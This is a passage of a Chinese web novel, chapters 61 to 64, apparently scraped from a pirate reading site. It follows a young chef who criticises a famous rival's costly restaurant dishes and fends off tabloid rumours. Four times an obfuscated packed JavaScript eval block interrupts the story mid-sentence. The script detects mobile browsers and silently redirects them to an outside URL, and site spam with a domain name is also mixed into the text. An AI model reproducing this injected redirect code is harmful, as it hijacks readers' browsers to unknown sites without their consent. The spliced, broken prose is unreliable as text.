;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915417|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本吉品鲍。” “好。”听人劝，吃饱饭，第一次来吃他们招牌吧！ “您的玻璃脆皮烧鸭做得很好，我们的脆皮乳鸽也不错，要不要试试？”侍应生问。 作为烧腊起家的岳宁，肯定无法拒绝这个，点头。 “还有这个伊比利亚火腿滑炒官燕雪蟹肉，也是本店的招牌哦！” 这个？西班牙火腿确实好吃，岳宁还是喜欢用成熟度比较好的金华火腿，或者云南的诺邓火腿。自己也喜欢创新，岳宁有些好奇官燕和雪蟹还有火腿炒在一起时什么味道？ 岳宁点头 ：“好啊！ “还有这个竹荪鸽子汤。 已经有脆皮乳鸽了，还推荐鸽子汤？ 岳宁看图片，没找到鸽子肉，里面有一个个彩色的小球，她问：“这是什么？ “鸽蛋和鸽肉丸。 岳宁有些的怀疑，这个菜是不是真的好吃？既然人家都推荐了，不如尝尝？ 侍应生又推荐一个虾球，橙红色状的底子上放了一个白嫩的虾球，上头点缀了橙红色三文鱼鱼子酱。这个应该还行吧？ 最后建议她点一个炒菜心。 没有青菜，这个饭吃得都不舒服。 侍应生推荐完了，岳宁按照自己上辈子的习惯，知道这点菜，基本不能果腹，翻下去看到还有一个叉烧饭说：“再加一个叉烧炒饭。 “岳小姐到底是行内人士，这个叉烧炒饭，是港城最贵的炒饭。 能不贵吗？这样的一份炒饭卖一百八十八。 这是好事啊！这家餐厅的定价至少说明了一点，自己的萝卜开会一百八卖出去，肯定也有人要。 岳宁点了餐，合上菜单。 崔慧仪把话题转回辉煌：“你觉得这家餐厅怎么样？ “它让我坚定了接管辉煌的信心。既然这里被称为全港最贵的餐厅。岳宁环视了一周，“从豪华程度，还有布局来说我更喜欢辉煌，辉煌的地段也好。 “我姐经营的时候，辉煌比这里生意好。那个女人插手之后，刚好这里开张。这位陆大厨，以专业人士的名义参加节目，时常活跃在公众面前，给公众的印象就是他做的菜高端。大家都认为他才是正宗，辉煌慢慢就没落了。当然也是辉煌大厨的薪水不如这里。好的厨师过来了，辉煌就越发没落了。 岳宁笑：“那我得先吃了这里的菜再说。辉煌的厨子过来是因为二奶插手辉煌大小姐不做了。这些人愿意回辉煌。我当然不介意再用！ 另外岳宁没跟崔慧仪说自己还有粤城福运楼，这个培训的套路，她还想跟李欣荣所在的那家酒店合作，这两天李欣荣看见了这个陆进勇要收她为徒孙的片段，打电话来说，他想要学摆盘，再找机会让陆进勇输得心服口服。 岳宁让他别动那么大的气，她原本想着刚好宝华楼缺厨子，要不让他的徒弟们来学。可转念，宝华楼到底是在市井之间的，以口味见长的酒楼，荣叔那家大酒店，也算是澳城数一数二的豪华大酒店了。人家厨子未必愿意来宝华楼，再说宝华楼的菜讲精致摆盘，就属于浪费了，人家来了也没机会学。自己如果接下辉煌？这条路倒是可行了。 第一道脆皮乳鸽上来…… 第61章 很贵的一顿饭 乳鸽按位来上，四分之一乳鸽卖一百零八。 白色平瓷盘里，一块乳鸽**间，两边分别用酸梅酱和椒盐料划了两道弧线，每一道弧线各放了三颗青豆做点缀，乳鸽上放了一片青翠欲滴的芹菜叶子。 就这学两年？岳宁略带嫌弃地把芹菜叶子夹开，放骨碟里，筷头蘸了一下酸梅汁，连个酸梅汁还是市场上瓶装的，这个椒盐粉也一样。 岳宁拿起这块小巧的乳鸽，拉开，里面有汁水冒出来。她低头咬一口，皮脆肉嫩汁水丰盈，做得很不错，这个是宝华楼的调味。 烧腊一脉相承，每家配方又各有不同。从味道上还是能吃得出来的，宝华楼十块钱一只的脆皮乳鸽，这里四分之一只乳鸽卖一百零八。 岳宁看着整个大厅里的人，顿时觉得港币自己长了腿，往她这里跑过来。 “我爷爷的调味。”岳宁跟崔慧仪说。 “是的。就是辉煌过来的一个烧腊师傅做的。” 第二道上的竹荪鸽子汤，一样也是按位上，汤罐打开，里面白的、绿的、粉紫的，三个丸子，另外飘了一片竹荪和一个半透明的鸽蛋。 竹荪自有一股香气，岳宁拿起汤勺舀了一口汤，汤是鸽子和火腿吊的汤，但是里面混合了菠菜味和包菜的味道。这个味道就不对了，她舀起一个绿丸子，咬了一口，鸽子肉打成细茸加上蛋清再加菠菜汁做的鸽肉丸，原本要吃的是细腻鲜嫩，他们为了菠菜的绿色不会因为煮了而变黄绿色，加了小苏打，这个味道蹿过来蹿过去，复杂又不融合。 也不是说鸽子汤不能加其他料，岳宁自己炖鸽子汤，会用很多中药材，比如给手脚冰凉的女士，可以是加红参和红枣加上黄芪等药材的双红元气鸽子汤，如果是小朋友出虚汗，那就用太子参、无花果和蜜枣。 乔家这样富贵，都不会浪费粮食，更何况从小在西北长大的自己，岳宁让自己不要浪费，吃完它。 这个菠菜丸子，这个紫甘蓝丸子啊！真是为难人。这个原味的鸽肉丸还好一点，竹荪和鸽子蛋尚可，这些她都吃掉了，汤剩下，不算浪费吧？ 这种本末倒置的做法，普遍存在于上辈子的高端餐饮当中，无论日料还是中餐，都要用金箔点缀一下。平时一个个都怕重金属超标，讲究食材要专属农场，要有机，黄金就不算重金属了？好像吃进肚子，胃就能消化似得。问题是这个东西不会对口味改善 起到一点作用。 纯粹为了好看，为了调色，而忽略了口味和食材的功能，可见这个陆进勇输给荣叔一点都不冤。 崔慧仪低声说：“我们说过，你萝卜开会卖一百八，绝对卖得起来。 “嗯！岳宁这下信心十足。 吉品鲍上来，侍应生特地说了一句：“这是平田家族所制作的吉品鲍，请慢用。 这是九头的吉品鲍，日本的吉品鲍个头不大，口感却是世界公认的第一。 盘子中间一粒鲍鱼，浇上了鲍汁，边上两根翠绿的芦笋和用粽叶包起来的一卷米饭。 比起一百八十八一份的炒饭，同样价格的一个九头的吉品鲍真不算贵，可能这个时候大陆还穷，还没有一堆大大小小的富豪，把这些食材追捧上天。 岳宁拿刀切下去，有一点点粘刀感，还不错，鲍鱼能不能做出溏心，干鲍本身的品质很重要，后期的泡发和炖煮也很重要。 岳宁切了一小块放进嘴里，糯中带着嚼劲，有点粘牙，像吃年糕，炖得不错，有甘香。她拆开了那团白米饭，混在鲍汁中，她仔细品尝这一口鲍汁捞饭。若是说细微的缺点呢？就是蚝油不是自制的，当然这一点普通的美食家都吃不出来。 “很不错。 下一道是伊比利亚火腿滑炒官燕雪蟹腿，这道菜看菜谱的时候，就让岳宁觉得抽象，上菜了还是觉得有点疑惑。管它呢！吃了再说，岳宁用勺子舀起混合了官燕、雪蟹肉、滑炒鸡蛋清和火腿丝的东西，塞进了嘴里。 燕窝做了咸口，泡发后用鸡汤煨过，滑炒的鸡蛋清也加过牛奶，雪蟹腿很鲜甜，火腿丝吗？岳宁真的很想建议他们，把燕窝去掉，还有火腿改成片，给刚才配鲍鱼的那团饭用，就雪蟹和蛋白炒，不挺好？ 当然，这是别人的事，跟自己有什么关系？ 那道虾球上来，上一道用了蛋清，原来蛋黄用在这里啊？蛋是好蛋，蛋黄橙红色，漂亮得不行，生蛋黄调入了虾头熬出来的虾油，再加调味料做酱汁。然后把一整个九节虾的虾肉放进这样的酱汁里，上头带了点三文鱼鱼籽，橙色和白色冲击。岳宁只想说，咱能简单点，两个菜并一个菜，来个虾仁雪蟹腿滑蛋吗？ 那道号称港城最贵炒饭，大米就用错了，岳宁不知道这个时候日本的秋田小町是不是已经量产了？这个米饭有点秋 田小町的味道，香绵软还有甜味。单吃白米饭都很好吃，唯独就不合适炒饭，怎么做都软。他们用了隔夜饭，还是偏软，而且这个大米的香味少了。 她安慰自己，应该高兴啊！她热度比陆大厨高，厨艺比他好，就连他引以为傲的摆盘，自己更是秒杀他。 就是这个账单好贵，觉得不太值，除了那份鲍鱼，其他连装逼都不够格。秉承不浪费的原则，岳宁把最后一口饭给吃了。 吃饱了，岳宁跟崔慧仪说，先送她去百货公司，她想给杨志杰挑一个背包。 拿了人家的资料，杨志杰还有空就回答她的问题。 上次他给她辅导后，岳宁跟他说，要不他按照外面辅导班的价格，按照每小时收钱吧？杨志杰怎么都不肯要。 他说七三年股灾的时候，他爸借款炒股，输得精光，连带房子都输掉了，他爸从楼上跳下去，留下他们母子，被债主逼上门来。 是岳宝华借他妈钱，是街坊借了他房子住。 这么多的债务，原本认为他们母子怎么还都还不完了。没想到岳宝华有个食客，要代理一款欧洲的药物，兰姐结婚以前在药房做药剂师，岳宝华介绍了兰姐去那个食客的公司做工。 天知道，兰姐嘴皮子利索，还吃苦耐劳，一家家医院，一家家药房蹲下来，居然成了那家公司销售冠军，这几年把钱还了，也供得起杨志杰读书了，接下去还想给他买楼。 杨志杰说，他们母子俩有今天，全是岳宝华和街坊们的帮忙，他觉得自己能帮她，哪怕是一点点，也很开心。 岳宁知道人家知恩图报，那就不要给钱了。她也是想了很久，年龄相仿的男女之间，送什么不会有误会？想来想去，刚好见他的书包两边的角已经磨破了，那就送个书包，他还得读几年书。 跟崔慧仪说好了，两人站起来刚好离开座位，那个给她们服务的侍应生走了过来：“岳小姐、崔小姐，不知道对我们的菜品满意吗？ 原来还有满意度回访，岳宁不愿意同行相轻：“蛮不错的。 这个回答好像没能让侍应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915418|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生满意，这个侍应生又问：“口味、服务、环境这些方面，还有什么需要改进的吗？ 岳宁这下开始细想了，可能人家不是走过场，而是诚心发问。 岳宁看着边上那么多食客，有人甚至往她这里看来。 那她就给点建议？她说：“个人建议哦！那个 伊比利亚火腿滑炒官燕雪蟹腿，官燕没有调味的时候和蛋清有点相似，两者放在一起，其实不能凸显食材的层次感，浪费官燕了。鲍鱼很好吃，芦笋是绿的，那个包米饭的粽叶也是绿的，如果把伊比利亚火腿片和米饭搭配，用在鲍鱼上，会更合适。那个鸽子汤，里面混了菠菜味，包菜味，尤其还放了小苏打，不要为了追求色彩造型而…… “你懂什么？一个恼怒的声音冒了出来。 岳宁回过身，看见陆大厨就在她身后。 “陆大厨，你好呀！岳宁眉眼带笑，“我本来是没意见，吃完了想要走了。是你们的侍应生来问的呀！我也说了是个人建议。吃饭吗？口味是第一位的，在保证口味的前提下，再追求更加精致的摆盘，舍本逐末就没意思了。 陆进勇好像在竭力控制自己的脾气：“你的意思是，我舍本逐末？ “是的。岳宁态度很诚恳，“我爸爸说，色香味形，能做好味，那就是个不错的厨师了，炒的菜能用香气勾到人，这是个优秀的厨师，能色香味三者都好，那就是个大厨。色香味形四者都能做到，那是一个有文化底蕴的大师。所以您指点我的时候，也是这个意思，我很有共鸣。今天过来吃饭，也是本着学习的心态，却发现您有些偏了。您是行业内的前辈。我本不想多说，是您的侍应生让我给意见，我才说的。 岳宁再次重申，是他们让给意见。 “陆大厨，本来我们都要走了，你们这个侍应生还来问。宁宁也一再说明，是个人意见。真说了，您怎么还生气呢？崔慧仪帮着岳宁。 陆进勇本身就一直以大厨的身份活跃在电视和电台里，这比做广告都好，他们酒楼高端，吃的就是格调，如今深入人心。他就是看上了岳宁的人气，和岳宝华的口味，今天让她点这几道菜也是他选出来的，挑摆盘精致的给她看，为的就是她能知道她现在哪方面还欠缺，到他这里来学。他倒也未必真要她两年都在他这里，只是谈条件都是漫天要价落地还钱，一开始开价高一点，慢慢降吗？ 没想到她吃好了，拍拍屁股要走，给她机会，让她说建议，但凡她能说他们几句好话，自己出来说两句珍惜有实力的年轻人，愿意带她的话。这个事情不也就成了？谁想她还真挑他们菜的毛病了。 现场那么多人，陆进勇知道自己要是发脾气，有损形象，他稳定了情绪说：“抱歉，我刚才态度有些不好。 “没事！岳宁立马笑脸灿烂，“感谢您的厚爱，我没有回应您的好意，一来我爷爷年纪大了，宝华楼离不开我。二来我中式摆盘都还没到精通的地步，我还是专注目前所学。您这是学的洋人的摆盘法子，我个人认为中餐其实更适合有意境的中式摆盘。 岳宁的话，把陆进勇刚刚压下去的怒气又吊了起来，他问：“这么说，我还要向你请教了？ “武侠小说中，绝世高手，还会华山论剑。更何况，你我这样还在探索中的厨子。互相交流学习也是有必要的。周六我会尽我所学，向您讨教，您要是有什么建议，也尽管提。 陆进勇笑：“周六？好，我等着。 第62章 边看热闹边练习 崔慧仪送岳宁到了鸿安大酒店门口，岳宁去找酒店的总经理汇报实地考察辉煌之后的想法，这位总经理打电话去新加坡。 “岳小姐，你跟叶先生说吧！” 岳宁刚开口：“叶先生……” 电话那头：“我是你大舅舅。” “大舅舅好。”岳宁只能顺从长辈的意思，她这是比小颖和小雅姐姐先叫舅舅了。 岳宁把今天去辉煌实地考察，以及在御龙轩吃饭的体验跟叶应章做了汇报，总结：“大舅舅，我有信心经营好辉煌。您看，您来港城，我们面对面谈？还是说我去新加坡？” “不用，我相信你三姨，她信你，我就信你，加紧收购吧！”叶应章在电话那头说。 “知道了，谢谢大舅舅。” 岳宁汇报了情况，剩下的鸿安这里自会操作，她出了鸿安大酒店，去隔壁的鸿安百货。 难得放自己一天假期，一样来了，自己的东西也添一些，岳宁索性就慢慢逛起来。 港城这个时候的百货公司已经跟岳宁上辈子记忆中的百货公司很接近了。每个品牌单一一个铺面，都有自己品牌的柜姐。 岳宁走进一家上辈子以舒适著称的鞋子品牌，他们家好像几十年都没变，鞋子一如既往地舒服。 岳宁选了两双打折款的鞋子，她无所谓新旧款，再说这个牌子的新旧款，在岳宁看来也没什么区别。 岳宁看着结算账单，她问：“小姐，是不是结算有误，我买的不是这个价格吧？” “岳小姐，您在鸿安百货公司消费，全部按照贵宾价格折扣。”柜姐把购物袋递给她。 这个便宜，那就占了。岳宁买好了鞋子，又给自己添置了化妆品，这些买的都是自己前世熟悉的牌子。 背包却不那么容易挑了，现在的男孩子喜欢什么样的呢？ 岳宁求助柜姐：“二十岁左右，比较斯文的男孩子用。” 柜姐为难地看她：“岳小姐，我们这个柜台是比较适中的价格，您想要的，可能是……” 柜姐生怕她不理解，索性跟同事说：“Linda，我带岳小姐过去。” “OK。” 岳宁被柜姐带到一个高奢品牌柜台，这岳宁熟悉，就是这个年代，动辄三五千的一个包，岳宁倒是买得起，问题是阿杰肯定不会要。 这位柜姐跟高奢柜台的柜姐说：“岳小姐要给二少买包，你推荐一下。” 啊？岳 宁连忙摇头：“不是的，我不是给乔君贤买包，我是给另外一个男孩子买包。送给一个正在港大读书的男生，家境很普通那种。 乔君贤什么也不缺，就缺一口吃的，自己用心给他多做两顿饭就行了。 柜姐意识到自己搞错了，说：“Sorry呀！我们回去选。 岳宁跟她回去，这位柜姐满脸歉意地推荐了几个双肩背包，岳宁选了一个深灰色的背包。 她提了购物袋出百货公司，上了的士，电台里正在播放新闻，英国王子恋情进一步升温，主持人激动地讲述着两人浪漫的恋爱经历，期待一场美轮美奂的世纪婚礼。 后一条是日本巨星中村美伊即将到港开演唱会，下榻的正是御龙轩所在的酒店。 电台请来了酒店的总经理和御龙轩餐厅主厨，那位总经理说，会让中村小姐感受到港城的热情，让她在为港城歌迷献唱的同时，领略港城的魅力，品尝地道的港城美食。 “众所周知，御龙轩在港城中餐界的地位。我们的菜品，网罗了全世界最优质的食材，今天宝华楼的岳宁小姐就来品尝了来自阿拉斯加的雪蟹、来自泰国的官燕、来自日本的吉品鲍，她就对我们的吉品鲍赞不绝口。陆进勇说道。 “岳小姐也光顾御龙轩了？ “没错，她在吃了我们的几道菜品之后，邀请我周六，去宝华楼，给他们提意见。陆进勇笑了一声，“宝华楼是本港有名的高性价比酒楼，价格低廉，选料在他们这个档次的的酒楼里算得上讲究，他们也一直认为自己的菜品欠缺美感。岳小姐在自学摆盘，今天她来我们店里吃过之后，希望我能够指点她一二。 刚才那个情况还能这样说？岳宁傻眼了。所以周六哪怕是她的实力碾压他，人家脸皮厚得跟城墙拐弯似得，他到时候在电视电台里还侃侃而谈，点评她的摆盘，还说给她什么样的指导了，自己岂不是拿他一点办法都没有？人不要脸，实在是天下无敌。 “岳小姐，御龙轩的菜真那么好？司机问她。 背后批评同行的菜品，对岳宁来说是大忌讳，尤其是在陌生人面前，很容易别解读为同行相轻，她说：“今天我们俩人吃了就几道菜吧？一共花了将近两千块。 司机咋舌：“这么贵？电视广告里，我也没看出来好在哪里，就是花花绿绿，看上去好看。 有电视广告，港城人没吃过御 龙轩，但是看过电视广告啊！岳宁笑着说：“对啊！我就吃得好心疼钱包。 “哈哈哈！你也会心疼钱包吗？ “大叔，我来港城之前，一年队里分红就几十块，折算成港币也就一百来块钱。岳宁把话题扯到西北去。 大叔起了兴趣，问她西北的情况。 还没问两句，已经到了，岳宁付钱下车。 往里走去，一路跟开店的街坊打招呼，买清仓服装的大叔看见她，追了出来，往她手里塞一个塑料袋：“宁宁，新到的针织衫和长裤。给你了。你穿穿看！ 岳宁也舍不得穿真丝衣服出入厨房，实在没时间就到大叔那里挑了几件衣服，很意外的是，他的衣服质量确实不错。她在大叔店里试衣服的时候，被狗仔拍到了，第二天大叔的店就涌入了一大堆的人。 “好的。岳宁不介意给街坊带个货。 穿过服装店，岳宁见兰姐正往里走，她追了上去：“兰婶婶。 兰姐停下脚步，岳宁从把一个袋子递给她：“帮我给阿杰，一点小小的心意。 “你瞎客气什么？ “刚好我今天去逛街，看见了就买了。左邻右舍，有来有往吗？ 兰姐开心地收下：“谢谢你了啊！ “是我谢谢阿杰。 岳宁看见平时关门的胜华楼前，**了很多人，她很意外，问：“这是怎么了？ “听说丁胜强和张丽丽出来。卖鱼陈他们来讨要货款，工人们来讨薪水呢！兰姐翻了一个白眼，“很多人以前都是宝华 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915419|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楼的，原本要是一直留在宝华楼，你爷爷去内地找你的日子也钱照发。你回来了生意多好？大家都差不多没休息的时候，可钱拿得多啊？他们呢？偷鸡不成蚀把米。 就连阿旺夫妇也蹲在胜华楼门口，喊着：“还我血汗钱！ “丁胜强和张丽没来吧？那来这里有什么用？ “不是有你吗？你这里总有狗仔。兰姐说，“有你在，上社会新闻也比较容易。 岳宁看着那群人，真挺可怜的？既然人家要蹭她流量，要不就让他们蹭吧？ “兰婶婶，我先回去了啊！ 岳宁快步跑回家，此刻晚市还没开始，大家也正站在门口，看对过笑话。 岳宁跟阿忠说：“马上给我煮两个土豆、两个红薯、一个南瓜，一把青豆。 “你要做什么？ “ 快去。 岳宁上楼放掉了买的东西，让人搬了桌椅到宝华楼烧腊档口边的阴凉处，把原本狗仔们躲着偷拍的地方给占了。 她到后厨，用蝶豆花泡出了蓝色，甜菜根打成了酱，挤出汁液，得到了红色，黑色的芝麻粉…… 岳宁端着这些碗盘出来，阿忠把那些煮熟土豆、南瓜、红薯放在沥水篮里，放她桌上。 狗仔本来就紧盯着岳宁，而社会新闻记者，见胜华楼门前一时半会儿也没什么新进展。岳宁搬了桌子出来，还放了半桌子的碗盘，不知道在搞什么？ 那就拍她，反正她随便干什么都是新闻。而且，指不定是超级大新闻，比如这次的硼砂面条。 岳宁坐下抬头，一脸不解地问：“你们盯着**嘛？我出来看热闹的啊！ 阿忠问出了大家都想知道的问题：“宁宁，你这是干什么呀？ 岳宁说：“那不是周六，陆大厨要来指导我的摆盘技术吗？临阵磨枪，不快也光。我边看热闹，边练习盘饰，免得到时候在大师面前丢人。 岳宁手边两个平盘，她用刮刀刮了白色的土豆泥下来，调了速溶咖啡粉进去，用深咖啡色土豆泥在白色盘子左侧三分之一处，勾勒出树枝，红薯泥添上甜菜汁，颜色变得橙红，一只只小巧玲珑柿子点缀枝头。 记者们的镜头一个个对准了她盘子。 红、咖啡和绿，变成了秋天的落叶，在枝头，也飘零落下。 岳宁还很八卦地问：“丁胜强和张丽丽到底欠了多少钱？ 花姐给她细数两人欠的钱，岳宁一边帮忙算，手里也不停，抹刀几下，蓝色、黑色和灰色组合下，一只蓝喜鹊站上了枝头。 她略带疑惑地说：“他们怎么能欠下这么多钱的，开饭店营业，每天有流水进来的呀！他们还用低价的肉，这些钱？ “那个丁胜强喜欢赌。 岳宁幽幽叹气，提起毛笔，蘸了一点酱，写下“雀登枝 说的域名ｃａｉxs?(请来才小 说 看最新章节 完整章节)。 “那大家怎么办啊？造孽啊！ 大家现在关心的是这个吗？大家关心的是她盘子里的这幅画。 岳宁把盘子递给阿忠：“洗掉。 “洗掉？！有人叫出声。 第63章 辟谣 岳宁信心满满，相信高效率的港城媒体一定会在第一时间报道她练习盘饰的新闻。 她画了雀登枝、缠枝葡萄、故宫初雪，总归能堵住那个谁的嘴了吧？ 说休息就休息，她早早吃了晚饭上楼，洗了澡，边做练习题，边看电视，等新闻。 电视上出现一个画面，她在箱包柜台挑背包。 下面配了标题：“偶像与现实分开，岳宁为港大学生男友买背包” 紧接着，新闻里放了，岳宁在节目里讲的那些话，新闻有些遗憾地说：“五年之期还远，才过去半个月，岳宁已经面对现实，找了门当户对的男友。” 怎么能胡说八道呢？这得给杨志杰带来多少困扰？ 虽然下一条也是她的新闻，岳宁已经没兴趣看了。 岳宁连忙换了衣服，换了衣服后，她又停住了，这时候任何解释，都是越描越黑。 烦死！她已经很注意了。买了包，也没有亲手交给杨志杰，就是免得有狗仔会乱拍。 敲门声传来，岳宁去开门，看见岳宝华：“爷爷。” “二少来了，说你跟他约了去看电影？” “没有啊！”岳宁说出口后，她笑了一声，“估计他看见的电视新闻了，他想得真周到，那我跟乔君贤出去走一圈。” 岳宁跟着岳宝华下楼去。 乔君贤等在二楼办公区，看见她快步走了过来。 岳宁问：“你看到新闻了？” “嗯，跟我去看场电影。破除这个谣言，还是说这本身不是谣言？不需要我帮忙？”乔君贤问她。 岳宁笑：“走吧！” 乔君贤好像微微松了口气似得，跟岳宝华说：“华……岳爷爷，我们出去了。” 岳宝华反应过来，孙女和乔君贤已经下楼了，乔君贤叫他什么？ 岳宁也听见了：“你怎么对着我爷爷改称呼了。” “对啊！”乔君贤说，“以前两家，就我爷爷和你爷爷交好。大家都叫你爷爷‘华叔’，我也跟着这么叫。现在，你算是我宝如小姨的半个养女，我们两家是有亲戚关系的，那辈分不是应该排清楚吗？我再叫你爷爷‘华叔’，算什么意思？” “也是啊！”岳宁笑了笑，算是认可了他的说法。 原有的狗仔都在，新的狗仔又来了一批，看见他们出来，镜头全部对准了他们俩。 乔君贤虚空搂着岳宁的肩往前走，岳宁问：“我跟你一起看电影， 会不会一波还没平息一波又起？” “无所谓啊！哥哥带妹妹出去玩玩，有什么问题？”乔君贤带着她往前，“再说，支持一下刘家耀和吕明明的新片，也是支持表哥吧？” “新片啊？”岳宁来了港城，几乎都在厨房里，根本没去关心什么新电影，“那一定要去看看。” 岳宁拉开了乔君贤这辆白色保时捷的车门，坐了进去：“等阿星和阿邦叔他们来了，人员缓解一下，我就能松口气，去学个车了。到时候，宝华楼和辉煌两边跑，有辆车会好很多。” 乔君贤已经开车出去，他没有接岳宁这个话题，问：“为什么要给那个阿杰送礼物？” 岳宁靠在椅背里：“他给我资料，还帮我复习讲题，我想让他收补习费，他不肯。那就想买一个，他愿意接受的礼物，送给他。我跟你说，那个柜姐……” 乔君贤听她说完，问：“柜姐已经提醒你，让你送礼物给我了。你就光顾着送别的男孩子礼物？” “送你礼物？”岳宁笑了起来，“我以为，你一顿饭就能摆平，如果一顿饭不行，那就两顿饭。你今天以身入局，说吧！想吃什么？我给你做。” 乔君贤不相信，岳宁这样一个精明到极点的姑娘，会听不懂他说的话，说到底，就是装傻。 “岳宁。”乔君贤叫她。 岳宁转头看他：“嗯？我给你做咖喱牛腩吧？” 她又转话题了，乔君贤说：“你认为我咖喱吃得不多？” “不是新马的咖喱。带着港式的柱候酱味道的咖喱。想不想吃？” 红绿灯口，乔君贤停车看她，岳宁继续勾他，“宁小厨独门秘方。” “成交。” “什么时候有空？来试菜。”岳宁问。 “你把我当小白鼠？”乔君贤半开玩笑地说。 岳宁看着天空：“爱当不当。” 车子到了中环，乔君贤先去找了停车场停车。 两人再穿过两条马路，到了一家大戏院门口。 这个时候大戏院不像岳宁上辈子那样，都是在商业中心里。这个电影院非常气派，拾阶而上，进入大厅，不亚于一家奢华酒店。 乔君贤问：“爆米花、可乐，吃不吃？” “吃！” 乔君贤去买爆米花，岳宁看见角落里躲着的狗仔，不知道下条新闻会是什么样的？不要给阿杰带去困扰就好。 可，乔君贤呢？他话里有话，是想 要撕破他们之间的窗户纸吗？ 乔君贤递过爆米花，问：“在笑什么？” 岳宁接过乔君贤递过来的爆米花：“今天给一个小朋友画了一只忍者神龟，想起北京的时候写的那几个字。” “你是不是要给我画一只乌龟？”乔君贤拉着她的手，往电影院里走。 影院很大，观影的人也很多，难怪这个年代是港城电影的黄金年代。 这是一部古装片，讲的是刘家耀演的一个书生，受法师所托抄写佛经超度亡魂，为静心抄写佛经，书生去了人迹罕至的山间，清幽之所。 这个清幽之所，并不清幽，夜间美女翩然而至。 哎呦！这回不是美女先脱，而是公子解开了衣带，岳宁正待兴致勃勃，看刘家耀露出……她的眼睛被蒙上了。 她耳边一个声音：“小朋友，不要看这种镜头。” 小朋友？ 剧院音响里传出不可描述的声音，岳宁轻声提醒他：“非礼勿听，这个声音太那啥了。” 她还有两只耳朵，岳宁看他怎么捂。 乔君贤在她耳边说：“你不会自己捂住耳朵。” 这段情节过掉，岳宁侧头看他，乔君贤把爆米花递给她，岳宁在他耳边：“你好好等着！等小朋友长大。” 乔君贤看她，岳宁看电影，最精彩的片段错过了，是在遗憾。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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岳宁往里走，乔君贤目送她进去。他有些懊悔，今天做这事，好像一个趁人之危，另有所图的小人。人家辟谣言简意赅，坦坦荡荡。自己真是…… 此刻宝华楼晚市已经临近结束，酒楼还剩下两桌喝酒的客人，阿明忙完了，出来透气抽烟，看见她，招手：“宁宁！” 岳宁走过去：“快去看电视。” 岳宁刚才被电视给吓了一跳，现在她可不敢一厢情愿地认为事情会如她预期那样发展。 阿明带她去一个包厢里，宝华楼的几个厨子都在里面，她看到新闻里，正在放她下午练习盘饰的图片，有个小朋友看见她画得漂亮，想要一个忍者神龟，她用苏打饼干做底，送了他一个。 这个新闻明显是看热闹不嫌事大，还把御龙轩广告的菜品和她盘饰做了对比，来了一个标题：“吹了多少牛欢喜，才敢小学生指导博士生” “宁宁，你知不知道什么是牛欢喜？”阿忠问岳宁。 岳宁一脚踹过去：“滚！” 第64章 周六到来 皇帝的新装里，小孩喊出了真话，揭穿了皇帝没有穿衣服的真相。 岳宁这次就是那个小孩，用她的几个盘饰揭穿了陆进勇一直鼓吹的精致高端摆盘，也不过如此。 一沉百踩，批评御龙轩的菜，好看不好吃，价格贵到离谱的有。也有说他的菜就是什么食材贵，什么搭在一起，他根本不懂怎么做菜。 又有人拿出了去年他跟李欣荣比赛的事来说，他的几乎每一道菜的口味都落后于李欣荣，支撑他打到比赛最后的，是他漂亮的摆盘，当时还有他的支持者替他惋惜，现在看来他败得名至实归。 这个时候有人采访岳宁，岳宁说：“御龙轩的菜没那么差，实际上如果陆大厨能明白，摆盘是锦上添花的事，口味是基础就好了。不能为了菜品的漂亮，而影响了菜品的口感。我在一本书里读到过这么一段文字‘传承中国文化的，不仅仅是唐诗、宋词、昆曲、京剧，它包含着，与我们生活相关的每一个细节，从这个角度来说，厨师是文化的传承者，也是文明的伟大书写者。’” 这段话是上辈子一部非常好的美食记录片里的旁白，曾给岳宁这个厨子深深的共鸣。 现在想起来依旧让她激动，她说：“这段话激励着我。我想做这个文化的传承者，文明的书写者，很显然陆大厨也有这个愿望。没有必要去嘲笑一个愿意做好一件事的人。也希望陆大厨经过这次，能多了解尊重同行。如果他去年愿意了解我荣叔，而不是沉浸在没拿厨王大奖上，到今年御龙轩菜品的口味一定提高了不少。所谓它山之石可以攻玉吗？” 